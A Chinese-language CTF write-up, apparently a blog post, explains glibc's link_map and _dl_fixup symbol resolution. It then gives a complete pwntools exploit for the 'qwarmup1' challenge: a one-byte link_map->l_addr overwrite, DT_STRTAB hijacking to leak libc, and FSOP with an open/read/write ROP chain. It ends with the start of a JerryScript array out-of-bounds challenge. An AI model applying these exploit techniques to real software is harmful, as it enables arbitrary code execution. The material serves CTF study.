       [0,DT_NUM) are indexed by the processor-independent tags.
       [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
       [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
       indexed by DT_VERSIONTAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
       DT_EXTRATAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
       indexed by DT_VALTAGIDX(tagvalue) and
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
       are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>.  */

    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
                      + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
    const ElfW(Phdr) *l_phdr;	/* Pointer to program header table in core.  */
    ElfW(Addr) l_entry;		/* Entry point location.  */
    ElfW(Half) l_phnum;		/* Number of program header entries.  */
    ElfW(Half) l_ldnum;		/* Number of dynamic segment entries.  */

    /* Array of DT_NEEDED dependencies and their dependencies, in
       dependency order for symbol lookup (with and without
       duplicates).  There is no entry before the dependencies have
       been loaded.  */
    struct r_scope_elem l_searchlist;

    /* We need a special searchlist to process objects marked with
       DT_SYMBOLIC.  */
    struct r_scope_elem l_symbolic_searchlist;

    /* Dependent object that first caused this object to be loaded.  */
    struct link_map *l_loader;

    /* Array with version names.  */
    struct r_found_version *l_versions;
    unsigned int l_nversions;

    /* Symbol hash table.  */
    Elf_Symndx l_nbuckets;
    Elf32_Word l_gnu_bitmask_idxbits;
    Elf32_Word l_gnu_shift;
    const ElfW(Addr) *l_gnu_bitmask;
    union
    {
        const Elf32_Word *l_gnu_buckets;
        const Elf_Symndx *l_chain;
    };
    union
    {
        const Elf32_Word *l_gnu_chain_zero;
        const Elf_Symndx *l_buckets;
    };

    unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose.  */
    enum			/* Where this object came from.  */
    {
        lt_executable,		/* The main executable program.  */
            lt_library,		/* Library needed by main executable.  */
            lt_loaded		/* Extra run-time loaded shared object.  */
    } l_type:2;
    unsigned int l_relocated:1;	/* Nonzero if object's relocations done.  */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called.  */
    unsigned int l_global:1;	/* Nonzero if object in _dl_global_scope.  */
    unsigned int l_reserved:2;	/* Reserved for internal use.  */
    unsigned int l_main_map:1;  /* Nonzero for the map of the main program.  */
    unsigned int l_visited:1;   /* Used internally for map dependency
				   graph traversal.  */
    unsigned int l_map_used:1;  /* These two bits are used during traversal */
    unsigned int l_map_done:1;  /* of maps in _dl_close_worker. */
    unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
					to by `l_phdr' is allocated.  */
    unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
				      the l_libname list.  */
    unsigned int l_faked:1;	/* Nonzero if this is a faked descriptor
				   without associated file.  */
    unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
				       should be called on this link map
				       when relocation finishes.  */
    unsigned int l_auditing:1;	/* Nonzero if the DSO is used in auditing.  */
    unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
				       is interested in the PLT interception.*/
    unsigned int l_removed:1;	/* Nozero if the object cannot be used anymore
				   since it is removed.  */
    unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
				    mprotected or if no holes are present at
				    all.  */
    unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
						 during LD_TRACE_PRELINKING=1
						 contains any DT_SYMBOLIC
						 libraries.  */
    unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
				       freed, ie. not allocated with
				       the dummy malloc in ld.so.  */
    unsigned int l_ld_readonly:1; /* Nonzero if dynamic section is readonly.  */
    unsigned int l_find_object_processed:1; /* Zero if _dl_find_object_update
					       needs to process this
					       lt_library map.  */

    /* NODELETE status of the map.  Only valid for maps of type
       lt_loaded.  Lazy binding sets l_nodelete_active directly,
       potentially from signal handlers.  Initial loading of an
       DF_1_NODELETE object set l_nodelete_pending.  Relocation may
       set l_nodelete_pending as well.  l_nodelete_pending maps are
       promoted to l_nodelete_active status in the final stages of
       dlopen, prior to calling ELF constructors.  dlclose only
       refuses to unload l_nodelete_active maps, the pending status is
       ignored.  */
    bool l_nodelete_active;
    bool l_nodelete_pending;

    #include <link_map.h>

    /* Collected information about own RPATH directories.  */
    struct r_search_path_struct l_rpath_dirs;

    /* Collected results of relocation while profiling.  */
    struct reloc_result
    {
        DL_FIXUP_VALUE_TYPE addr;
        struct link_map *bound;
        unsigned int boundndx;
        uint32_t enterexit;
        unsigned int flags;
        /* CONCURRENCY NOTE: This is used to guard the concurrent initialization
	 of the relocation result across multiple threads.  See the more
	 detailed notes in elf/dl-runtime.c.  */
        unsigned int init;
    } *l_reloc_result;

    /* Pointer to the version information if available.  */
    ElfW(Versym) *l_versyms;

    /* String specifying the path where this object was found.  */
    const char *l_origin;

    /* Start and finish of memory map for this object.  l_map_start
       need not be the same as l_addr.  */
    ElfW(Addr) l_map_start, l_map_end;
    /* End of the executable part of the mapping.  */
    ElfW(Addr) l_text_end;

    /* Default array for 'l_scope'.  */
    struct r_scope_elem *l_scope_mem[4];
    /* Size of array allocated for 'l_scope'.  */
    size_t l_scope_max;
    /* This is an array defining the lookup scope for this link map.
       There are initially at most three different scope lists.  */
    struct r_scope_elem **l_scope;

    /* A similar array, this time only with the local scope.  This is
       used occasionally.  */
    struct r_scope_elem *l_local_scope[2];

    /* This information is kept to check for sure whether a shared
       object is the same as one already loaded.  */
    struct r_file_id l_file_id;

    /* Collected information about own RUNPATH directories.  */
    struct r_search_path_struct l_runpath_dirs;

    /* List of object in order of the init and fini calls.  */
    struct link_map **l_initfini;

    /* List of the dependencies introduced through symbol binding.  */
    struct link_map_reldeps
    {
        unsigned int act;
        struct link_map *list[];
    } *l_reldeps;
    unsigned int l_reldepsmax;

    /* Nonzero if the DSO is used.  */
    unsigned int l_used;

    /* Various flag words.  */
    ElfW(Word) l_feature_1;
    ElfW(Word) l_flags_1;
    ElfW(Word) l_flags;

    /* Temporarily used in `dl_close'.  */
    int l_idx;

    struct link_map_machine l_mach;

    struct
    {
        const ElfW(Sym) *sym;
        int type_class;
        struct link_map *value;
        const ElfW(Sym) *ret;
    } l_lookup_cache;

    /* Thread-local storage related info.  */

    /* Start of the initialization image.  */
    void *l_tls_initimage;
    /* Size of the initialization image.  */
    size_t l_tls_initimage_size;
    /* Size of the TLS block.  */
    size_t l_tls_blocksize;
    /* Alignment requirement of the TLS block.  */
    size_t l_tls_align;
    /* Offset of first byte module alignment.  */
    size_t l_tls_firstbyte_offset;
    #ifndef NO_TLS_OFFSET
    # define NO_TLS_OFFSET	0
    #endif
    #ifndef FORCED_DYNAMIC_TLS_OFFSET
    # if NO_TLS_OFFSET == 0
    #  define FORCED_DYNAMIC_TLS_OFFSET -1
    # elif NO_TLS_OFFSET == -1
    #  define FORCED_DYNAMIC_TLS_OFFSET -2
    # else
    #  error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
    # endif
    #endif
    /* For objects present at startup time: offset in the static TLS block.  */
    ptrdiff_t l_tls_offset;
    /* Index of the module in the dtv array.  */
    size_t l_tls_modid;

    /* Number of thread_local objects constructed by this DSO.  This is
       atomically accessed and modified and is not always protected by the load
       lock.  See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c.  */
    size_t l_tls_dtor_count;

    /* Information used to change permission after the relocations are
       done.  */
    ElfW(Addr) l_relro_addr;
    size_t l_relro_size;

    unsigned long long int l_serial;
};

_dl_fixup 将使用“链接映射”来确定“重定位索引”所指的符号，并提供大量其他需要的信息来进行符号解析，其中最重要的就是“解析地址”计算

_dl_fixup 利用存储在 link_map 中的信息来确定符号 @got（称为“解析地址”）的位置
如果我们欺骗 _dl_fixup 计算错误的解析地址并且 write@got 仍然是 write@plt+6，利用这一点将是有价值的，我们永远不会在字节写入后丢失 _dl_fixup 作为攻击面

实现重定位的代码如下：

1 2	const PLTREL const reloc = (const void )(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset(pltgot, reloc_arg)); void const rel_addr = (void )(l->l_addr + reloc->r_offset);

当运行时加载器加载 ELF 时，它会通过 .dynamic 部分中的条目定位不同的数据结构，例如存储析构函数或 GOT 的位置，这是 .dynamic 部分的样子：

.dynamic 段中往往保存着多个元素，元素的数据结构为：

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

d_tag：标签所做的只是描述值，告诉加载器 d_un 数据的意义，常见的类型如下表：

`d_tag`类型	`d_un`的定义
DT_SYMTAB - 6	d_ptr 记录动态链接符号表(.dynsym)的地址偏移
DT_STRTAB - 5	d_ptr 记录动态链接字符串表(.dynstr)的地址偏移
DT_STRSZ - 10	d_val 记录动态链接字符串表(.dynstr)的大小
DT_HASH - 4	d_ptr 表示动态链接hash表(.hash)的地址
DT_SONAME - 14	本共享对象的SO-NAME
DT_RPATH - 15	动态链接共享对象的搜索路径
DT_INIT - 12	初始化代码地址
DT_FINIT - 13	结束代码地址
DT_NEED - 1	当前文件依赖的共享目标文件的文件名
DT_REL/DT_RELA - 17/7	动态链接重定位表地址
DT_RELAENT - 9	动态链接重定位表项的数目

运行时，加载器将读取每个 Elf64_Dyn 条目，并在 ELF 的 link_map 中存储指向每个条目的指针（具体来说，指向每个 Elf64_Dyn 的指针将存储在 link_map->l_info 数组中，由标签索引）

因此，加载器可以使用 l->l_info[DT_XXX] 访问对应的 Elf64_Dyn
例如：通过 l->l_info[DT_STRTAB].d_un.d_ptr 轻松读取 DT_STRTAB 的地址

接下来就需要 [重定位表] 来索引目标的位置，每个条目都有一个 r_offset 属性，它指定符号的解析地址应该放在哪里：

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

看了下面这张图就明白了：

由于 r_offset 属性是一个偏移量而不是一个绝对指针，我们需要添加 l->l_addr 来获得解析地址，也就是如下代码的实现：

1	void const rel_addr = (void )(l->l_addr + reloc->r_offset);

入侵思路

当申请的堆块足够大时，可以申请到接近 libc 前面内存，有一次 WAA libc 的机会（只有1字节）

根据 _dl_fixup_ 的寻址规则，我们在 _dl_fixup_ 查找完函数地址回填到 GOT 表后，可以通过修改 link_map->l_addr，使回填的函数填到 write@got 某个偏移的地方（bss->size）

1	*RDI 0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f

pwndbg> telescope 0x7fcefdddf2e0
00:0000│ rdi 0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f
01:0008│     0x7fcefdddf2e8 —▸ 0x7fcefdddf888 ◂— 0x0
02:0010│     0x7fcefdddf2f0 —▸ 0x55a47f543df8 ◂— 0x1
03:0018│     0x7fcefdddf2f8 —▸ 0x7fcefdddf890 —▸ 0x7ffdfdf5b000 ◂— jg     0x7ffdfdf5b047
04:0020│     0x7fcefdddf300 ◂— 0x0
05:0028│     0x7fcefdddf308 —▸ 0x7fcefdddf2e0 —▸ 0x55a47f540000 ◂— 0x10102464c457f
06:0030│     0x7fcefdddf310 ◂— 0x0
07:0038│     0x7fcefdddf318 —▸ 0x7fcefdddf870 —▸ 0x7fcefdddf888 ◂— 0x0

1 2	pwndbg> distance 0x7fcefda86000 0x7fcefdddf2e0 0x7fcefda86000->0x7fcefdddf2e0 is 0x3592e0 bytes (0x6b25c words)

示例代码如下：

def write(offset, bytes, tag=True):
    for i, byte in enumerate(bytes):
        p.send(p64(offset + i))
        p.send(p8(byte))
        if tag:
            p.recvuntil(b"Success!")

link_map_offset = 0x3592e0 - 0x10 # 通过mmap申请的chunk与link_map之间的偏移
p.send(p32(0xf0000))
size_addr = 0x408c # 位于bss段的size

write(link_map_offset, p8(size_addr-4 - elf.got["write"]))

执行覆盖的汇编代码：

*RAX  0x70 /* 计算出来的,用于覆盖link_map->l_addr末尾的值 */
 RDX  0x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f

 ► 0x556d291ff4bb    mov    byte ptr [rdx], al

修改前：

pwndbg> telescope 0x7f9e9d695000+0x3592e0
00:0000│  0x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f /* link_map->l_addr */
01:0008│  0x7f9e9d9ee2e8 —▸ 0x7f9e9d9ee888 ◂— 0x0
02:0010│  0x7f9e9d9ee2f0 —▸ 0x556d29201df8 ◂— 0x1
03:0018│  0x7f9e9d9ee2f8 —▸ 0x7f9e9d9ee890 —▸ 0x7ffec7501000 ◂— jg     0x7ffec7501047
04:0020│  0x7f9e9d9ee300 ◂— 0x0
05:0028│  0x7f9e9d9ee308 —▸ 0x7f9e9d9ee2e0 —▸ 0x556d291fe000 ◂— 0x10102464c457f
06:0030│  0x7f9e9d9ee310 ◂— 0x0
07:0038│  0x7f9e9d9ee318 —▸ 0x7f9e9d9ee870 —▸ 0x7f9e9d9ee888 ◂— 0x0

修改后：

pwndbg> telescope 0x7f9e9d695000+0x3592e0
00:0000│ rdx 0x7f9e9d9ee2e0 —▸ 0x556d291fe070 ◂— 0x8 /* link_map->l_addr */
01:0008│     0x7f9e9d9ee2e8 —▸ 0x7f9e9d9ee888 ◂— 0x0
02:0010│     0x7f9e9d9ee2f0 —▸ 0x556d29201df8 ◂— 0x1
03:0018│     0x7f9e9d9ee2f8 —▸ 0x7f9e9d9ee890 —▸ 0x7ffec7501000 ◂— jg     0x7ffec7501047
04:0020│     0x7f9e9d9ee300 ◂— 0x0
05:0028│     0x7f9e9d9ee308 —▸ 0x7f9e9d9ee2e0 —▸ 0x556d291fe070 ◂— 0x8
06:0030│     0x7f9e9d9ee310 ◂— 0x0
07:0038│     0x7f9e9d9ee318 —▸ 0x7f9e9d9ee870 —▸ 0x7f9e9d9ee888 ◂— 0x0

通过 l->l_addr + reloc->r_offset 公式来计算 write@got

1	Elf64_Rela <4018h, 300000007h, 0> ; R_X86_64_JUMP_SLOT write

1 2	In [1]: hex(0x556d291fe070+0x4018) Out[1]: '0x556d29202088'

函数 _dl_fixup_ 执行完毕以后，就会根据错误的 link_map->l_addr 来把错误的地址给改为 write 的真实地址

1
2
3

pwndbg> x/20xg 0x556d29202088
0x556d29202088:	0x000f000000000000	0x6261747274736873
0x556d29202098:	0x707265746e692e00	0x672e65746f6e2e00

pwndbg> x/20xg 0x556d29202088
0x556d29202088:	0x00007f9e9d89da20	0x6261747274736873
0x556d29202098:	0x707265746e692e00	0x672e65746f6e2e00
pwndbg> telescope 0x556d29202088
00:0000│  0x556d29202088 —▸ 0x7f9e9d89da20 (write) ◂— endbr64

我们可以发现 bss->size < 0x10000，程序循环

程序循环了，我们可以在 libc 中写入任意数据，不过我们想要泄露 libc_base 需要用到 _dl_fixup_ 的机制：

由于 write 的函数地址没有成功回填到 GOT 表，后面每次调用还会走 symbol 查找流程：

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{ 
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // DT_STRTAB id=5
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  value = DL_FIXUP_MAKE_VALUE (result,sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

_dl_lookup_symbol_x 函数的第一个参数就是待查找函数的函数名，而 sym->st_name 对于同一个函数而言是一个固定值（“write” = 34）
而 strtab 则是来源于于 libc 上的全局结构体 link_map，那么可以劫持 link_map->l_info[DT_STRTAB] ，使其指向可控内存段（比如说：link_map->l_info[DT_DEBUG]），达到任意函数调用

DT_STRTAB 在 elf 中，由于没有泄露任何地址，目前是通过偏移进行任意地址写，这里找到 DT_DEBUG 这个表是指向 libc 地址，可以通过改写最低位：

把 link_map->l_info[DT_STRTAB] 低位覆盖为 link_map->l_info[DT_DEBUG] 这样程序就会误以为 DT_DEBUG 是 DT_STRTAB（这下放入 _dl_lookup_symbol_x 的第二个参数就会变成 DT_DEBUG）
于是我们提前在 DT_DEBUG+34（原来是 DT_STRTAB+34）的位置写上 [function_name]，就可以达到任意函数调用

我们可以利用这个机制来 leak libc_base，示例代码如下：

_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0xf4000-0x10
write(_IO_2_1_stdout_offset,p32(0xfbad1800))
write(_IO_2_1_stdout_offset+0x28,b'\xff') 

r_debug_offset = 0x359118-0x10
write(r_debug_offset+34,b"_IO_flush_all") 

write(link_map_offset+0x40+5*0x8, b'\xb8', False)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70 
success("libc_base >> "+hex(libc.address))

思路还是和上面的一样，只是执行的函数为 _IO_flush_all
于是我们在 _IO_2_1_stdout_ 中修改 FILE 结构体的条目，经过如下调用链后泄露 libc_base：

1	_dl_fixup -> _dl_lookup_symbol_x -> _IO_flush_all

最后用同样的方法执行 FSOP，使用 _IO_wdefault_xsgetn 的调用链：

1	_IO_flush_all -> _IO_flush_all_lockp -> _IO_wdefault_xsgetn -> _IO_switch_to_wget_mode

示例代码如下：

write(link_map_offset+0x40+5*0x8, b'\x78') # fix

# FSOP(_IO_flush_all_lockp --> IO_jump_t.__overflow)
heap_addr = libc.address - (0xf4000 - 0x10)
success("heap_addr >> "+hex(heap_addr))

# Overwrite _IO_2_1_stdout_
write(_IO_2_1_stdout_offset,p32(0x800)) # flags
write(_IO_2_1_stdout_offset+0xc0,p8(0xff)) # _mode > 1
write(_IO_2_1_stdout_offset+0x48,p64(heap_addr)) # _IO_save_base(rdi+0x48)
_IO_wstrn_jumps = libc.address + 0x215dc0 # vtable(_IO_wstrn_jumps)
write(_IO_2_1_stdout_offset+0xd8,p64(_IO_wstrn_jumps+0x28)) # _IO_wstrn_overflow->_IO_wdefault_xsgetn

# Overwrite _wide_data
# _IO_write_ptr
_IO_wide_data_1_offset = 0x30d9a0-0x10
write(_IO_wide_data_1_offset+0x20,p8(0x1))
write(_IO_wide_data_1_offset+0xe0,p64(heap_addr+0x110-0x18)) # vtable(fake)

rop = flat(
    [b'./flag\x00\x00', pop_r12_r13_r14_ret],
    [0xdeadbeef, heap_addr - 8],
    [leave_ret, pop_rdx_r12_ret],
    [0xdeadbeef,0xdeadbeef],
    [pop_rdi_ret, heap_addr], # './flag'
    [pop_rsi_ret, 0],
    [pop_rdx_r12_ret, 0],
    [0xdeadbeef, pop_rax_ret],
    [2, syscall_ret], # open('/flag',0,0)
    [pop_rdi_ret, 3],
    [pop_rsi_ret, heap_addr], # './flag'
    [pop_rdx_r12_ret, 0x40],
    [0xdeadbeef, read_addr], # read(3,&buf,0x40)
    [pop_rdi_ret, 1],
    [pop_rsi_ret, heap_addr], # './flag'
    [pop_rdx_r12_ret, 0x40],
    [0xdeadbeef, write_addr], # write(1,&buf,0x40)
    svcudp_reply26
    )

write(0,rop)
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all

先还原 DT_STRTAB
修改 _IO_2_1_stdout_ FILE 结构体，利用 vtable 偏移的思想实现 vtable 任意函数调用（_IO_flush_all_lockp 原本会调用 _IO_wstrn_overflow ，修改 vtable 偏移后变为调用 _IO_wdefault_xsgetn）
然后在 _IO_wide_data_1 中伪造数据：
- _IO_wide_data_1+0x20 -> [RDX]
- _IO_wide_data_1+0xe0 -> [RAX]
我们可以控制 [RAX]，并且在 [RAX+0x18] 中提前写入 ROP 的地址

 RAX  0x7f8099bc0108 ◂— 0x40 /* '@' */
 RDI  0x7f8099ece780 (_IO_2_1_stdout_) ◂— 0x800
 RDX  0x1
*RIP  0x7f8099d37d55 (_IO_switch_to_wget_mode+37) ◂— call   qword ptr [rax + 0x18]

1 2	pwndbg> telescope 0x7f8099bc0108+0x18 00:0000│ 0x7f8099bc0120 —▸ 0x7f8099e1e1fa (svcudp_reply+26) ◂— mov rbp, qword ptr [rdi + 0x48] /* ROP */

gadget svcudp_reply 可以控制会 [RBP] 为 [RDI+0x48]（我们提前在 _IO_2_1_stdout_+0x48 中伪造好 ROP_addr），同时会 call [RAX+0x28]，在这里放入 leave ret 就利用控制栈了

完整 exp：

from multiprocessing import context
from signal import pause
from pwn import * 

elf = ELF("./qwarmup1")
ld = ELF("./ld-linux-x86-64.so.2")
libc = ELF("./libc.so.6")

context(arch='amd64')

cmd = "set debug-file-directory /home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/\n"
#cmd +="b *$rebase(0x14A7)\n"
#cmd +="b *$rebase(0x14D1)\n"
#cmd +="b *$rebase(0x14BB)\n"

p = gdb.debug("./qwarmup1",cmd)
#p = process("./qwarmup1")
#gdb.attach(p,"b *$rebase(0x1491)\n")

def write(offset, bytes, tag=True):
    for i, byte in enumerate(bytes):
        p.send(p64(offset + i))
        p.send(p8(byte))
        if tag:
            p.recvuntil(b"Success!")

p.send(p32(0xf0000))
size_addr = 0x408c
link_map_offset = 0x3592e0-0x10
write(link_map_offset, p8(size_addr-4 - elf.got["write"])) # overwrite &size-4 = write@libc

# leak libc address
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0xf4000-0x10
write(_IO_2_1_stdout_offset,p32(0xfbad1800)) # _flags
write(_IO_2_1_stdout_offset+0x28,b'\xff') 
success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset))

r_debug_offset = 0x359118-0x10
write(r_debug_offset+34,b"_IO_flush_all") # DT_STRTAB+34 = write => DT_DEBUG+34 = call_func
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70 
success("libc_base >> "+hex(libc.address))

write(link_map_offset+0x40+5*0x8, b'\x78') # fix

# FSOP(_IO_flush_all_lockp --> IO_jump_t.__overflow)
heap_addr = libc.address - (0xf4000 - 0x10)
success("heap_addr >> "+hex(heap_addr))

# Overwrite _IO_2_1_stdout_
write(_IO_2_1_stdout_offset,p32(0x800)) # flags
write(_IO_2_1_stdout_offset+0xc0,p8(0xff)) # _mode > 1
write(_IO_2_1_stdout_offset+0x48,p64(heap_addr)) # _IO_save_base(rdi)
_IO_wstrn_jumps = libc.address + 0x215dc0 # vtable(_IO_wstrn_jumps)
write(_IO_2_1_stdout_offset+0xd8,p64(_IO_wstrn_jumps+0x28)) # _IO_wstrn_overflow->_IO_wdefault_xsgetn

# Overwrite _wide_data
# _IO_write_ptr
_IO_wide_data_1_offset = 0x30d9a0-0x10
write(_IO_wide_data_1_offset+0x20,p8(0x2))
write(_IO_wide_data_1_offset+0xe0,p64(heap_addr+0x110-0x18)) # vtable(fake)

# ROP
svcudp_reply26 = libc.address + 0x16a1fa
pop_r12_r13_r14_ret = libc.address + 0x000000000002be4c
pop_rsi_ret = libc.address + 0x000000000002be51
pop_rdi_ret = libc.address + 0x000000000002a3e5
pop_rdx_r12_ret = libc.address + 0x000000000011f497
pop_rax_ret = libc.address + 0x0000000000045eb0
leave_ret = libc.address + 0x00000000000562ec
read_addr = libc.sym['read']
write_addr = libc.sym['write']
syscall_ret = libc.address + 0x91396

rop = flat(
    [b'./flag\x00\x00', pop_r12_r13_r14_ret],
    [0xdeadbeef, heap_addr - 8],
    [leave_ret, pop_rdx_r12_ret],
    [0xdeadbeef,0xdeadbeef],
    [pop_rdi_ret, heap_addr], # './flag'
    [pop_rsi_ret, 0],
    [pop_rdx_r12_ret, 0],
    [0xdeadbeef, pop_rax_ret],
    [2, syscall_ret], # open('/flag',0,0)
    [pop_rdi_ret, 3],
    [pop_rsi_ret, heap_addr], # './flag'
    [pop_rdx_r12_ret, 0x40],
    [0xdeadbeef, read_addr], # read(3,&buf,0x40)
    [pop_rdi_ret, 1],
    [pop_rsi_ret, heap_addr], # './flag'
    [pop_rdx_r12_ret, 0x40],
    [0xdeadbeef, write_addr], # write(1,&buf,0x40)
    svcudp_reply26
    )

write(0,rop)
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all

p.interactive()

小结：

复习了一下 _dl_runtime_resolve 的知识
也认识了一个可以控制栈的 gadget（svcudp_reply+26）

0x7f78243fb1fa <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]  
0x7f78243fb1fe <svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]  
0x7f78243fb202 <svcudp_reply+34>:    lea    r13,[rbp+0x10]             
0x7f78243fb206 <svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0   
0x7f78243fb20d <svcudp_reply+45>:    mov    rdi,r13                    
0x7f78243fb210 <svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
    /* [rdi+0x48]中被放入ROP_addr */
    /* [rax+0x28]中被放入'leave ret' */

由于 _IO_switch_to_wget_mode 可以控制 [RDX]，我们可以考虑用 setcontext+61 来控制栈，我这里就不演示了

JavaScript pwn+Array OOB

Posted on 2022-08-20 In Reappearance 11k 10 mins.

easychain1 复现

#!/bin/sh

qemu-system-x86_64  \
-m 512M \
-cpu kvm64,+smep,+smap \
-smp 4 \
-kernel ./vmlinux \
-append "console=ttyS0 nokaslr quiet" \
-initrd rootfs.img \
-monitor /dev/null \
-nographic

#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
/etc/init.d/rcS
ifconfig lo up

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

poweroff -d 120000 -f &
setsid cttyhack setuidgid pwn /pwn

poweroff -d 0 -f

没有加载驱动程序（和常规的 kernel 不太一样）
进入 kernel 后，程序会以 pwn 用户执行 pwn 文件

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int n; // [rsp+0h] [rbp-8018h]
  int js; // [rsp+4h] [rbp-8014h]
  char buf[16]; // [rsp+8h] [rbp-8010h] BYREF
  char v7; // [rsp+18h] [rbp-8000h] BYREF
  __int64 v8[512]; // [rsp+7018h] [rbp-1000h] BYREF

  while ( v8 != (__int64 *)&v7 )
    ;
  v8[511] = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  printf("pwn> ");
  n = read(0, buf, 0x1000uLL);
  js = open("./pwn.js", 65);
  write(js, buf, n);
  system("./jerry ./pwn.js");
  return 0;
}

往 pwn.js 输入 JavaScript 脚本，然后用 jerry 解释该脚本

jerryscript 是 JavaScript 轻量级引擎：（专门处理 JavaScript 脚本的虚拟机）

__assert_fail(
"source_file_p->type == SOURCE_SCRIPT",
"/home/david/github/jerryscript/jerry-main/main-desktop.c",
0x94u,
"main");

printf("Version: %d.%d.%d%s\n", 3LL, 0LL, 0LL, " (0d496966)");

Version: 3.0.0 (0d496966)

源代码地址如下：（Google 搜索 0d496966）

Gitee 极速下载/jerryscript - Gitee.com

jerryscript 3.0.0 cve 参考：

Jerryscript Jerryscript 3.0.0 - Security Database (security-database.com)

漏洞分析

可能是魔改源码，可能是 cve，所以我们先 bindiff 一下

git clone https://gitee.com/mirrors/jerryscript.git
cd jerryscript
git reset --hard 0d496966
python tools/build.py --build-type=RelWithDebug --strip=off # 带有符号表

不过，如果安装成 DEBUG 版本，在调试的时候会遇到和 V8 一样的 DCHECK，导致我们无法正常调试漏洞
这里，我们可以修改一下源码（jerryscript/jerry-core/jrt/jrt.h）：

#define JERRY_ASSERT(x)                                     \
  do                                                        \
  {                                                         \
    if (JERRY_UNLIKELY (!(x)))                              \
    {                                                       \
      jerry_assert_fail (#x, __FILE__, __func__, __LINE__); \
    }                                                       \
  } while (0)
	/* <---------------- @ ----------------> */
#define JERRY_ASSERT(x)                                     \
  do                                                        \
  {                                                         \
    if (false)                                              \
    {                                                       \
      JERRY_UNUSED (x);                                     \
    }                                                       \
  } while (0)

将 DEBUG 版本下的 JERRY_ASSERT 替换成 RELEASE 版本的 JERRY_ASSERT 即可

这个东西折腾了我好久，先是题目解包错误，导致文件 jerry 少了 400KB，后是 bindiff 分析错误，我换了好几个版本的 bindiff 和 IDA，最后发现是中文路径的问题，干

bindiff 分析如下：

说实话这个有点难找，大概 20~30 个函数的相似度都比较接近（可能是编译的问题）
漏洞点在 ecma_builtin_array_prototype_object_pop：（我在网上的 wp 上看的，要是硬要找还真的够呛）

